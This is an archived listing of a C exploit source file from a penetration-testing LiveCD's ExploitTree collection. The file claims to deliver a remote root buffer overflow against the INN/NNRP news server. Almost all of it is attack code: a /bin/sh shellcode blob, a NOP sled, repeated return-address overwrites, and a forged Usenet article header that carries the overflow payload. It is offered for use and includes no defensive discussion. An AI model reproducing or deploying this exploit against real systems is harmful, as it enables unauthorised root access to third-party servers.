home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / nntp / inn-nnrp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  79 lines

  1. /*
  2.  *  INND/NNRP remote root overflow
  3.  */
  4.  
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <unistd.h>
  8. #include <sys/types.h>
  9.  
  10. #define DEFAULT_OFFSET    792
  11. #define BUFFER_SIZE    796
  12. #define ADDRS        80
  13. #define RET            0xefbf95e4
  14. #define NOP            "\x08\x21\x02\x80"
  15.  
  16. int main(argc, argv)
  17. int argc;
  18. char **argv;
  19. {
  20.   char *buff = NULL, *ptr = NULL;
  21.   u_long *addr_ptr = NULL;
  22.   int ofs = DEFAULT_OFFSET;
  23.   int noplen;
  24.   int i, j;
  25.   u_char execshell[] = 
  26.     "\x34\x16\x05\x06\x96\xd6\x05\x34\x20\x20\x08\x01"
  27.     "\xe4\x20\xe0\x08\x0b\x5a\x02\x9a\xe8\x3f\x1f\xfd"
  28.     "\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02"
  29.     "\x60\x40\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99"
  30.     "\x0b\x18\x02\x98\x34\x16\x04\xbe\x20\x20\x08\x01"
  31.     "\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe"
  32.     "/bin/sh";
  33.   
  34.   if(argc > 1)
  35.     ofs = atoi(argv[1]);
  36.  
  37.   if(!(buff = malloc(4096)))
  38.   {
  39.     (void)fprintf(stderr, "can't allocate memory\n");
  40.     exit(1);
  41.   }
  42.  
  43.   ptr = buff;
  44.   noplen = BUFFER_SIZE - strlen(execshell) - ADDRS;
  45.  
  46.   for(i = 0; i < noplen / 4; i++)
  47.   {
  48.     for(j = 0; j < 4; j++)
  49.       *ptr++ = NOP[j];
  50.   }
  51.  
  52.   *ptr += noplen;
  53.  
  54.   for(i = 0; i < strlen(execshell); i++)
  55.     *ptr++ = execshell[i];
  56.  
  57.   addr_ptr = (unsigned long *)ptr;
  58.  
  59.   for(i = 0; i < ADDRS / 4; i++)
  60.     *addr_ptr++ = (RET - ofs);
  61.  
  62.   ptr = (char *)addr_ptr;
  63.   *ptr = '\0';
  64.  
  65.   (void)fprintf(stderr, "shellcode len: %d, RET: %x\n", strlen(buff), RET-ofs);
  66.  
  67.   printf(
  68.     "Path: babcia!padlina\n"
  69.     "From: babunia @%s\n"
  70.     "Newsgroups: pl.test\n"
  71.     "Subject: test\n"
  72.     "Message-ID: <830201540.9220@padlina.z-miesne.krakow.pl>\n"
  73.     "Date: 26 Aug 1999 10:36:54 +0200\n"
  74.     "Lines: 1\n"
  75.     "\n"
  76.     "west. test it.\n"
  77.     ".\n", buff);
  78. }
  79. /*                   www.hack.co.za  [30 November 2000]*/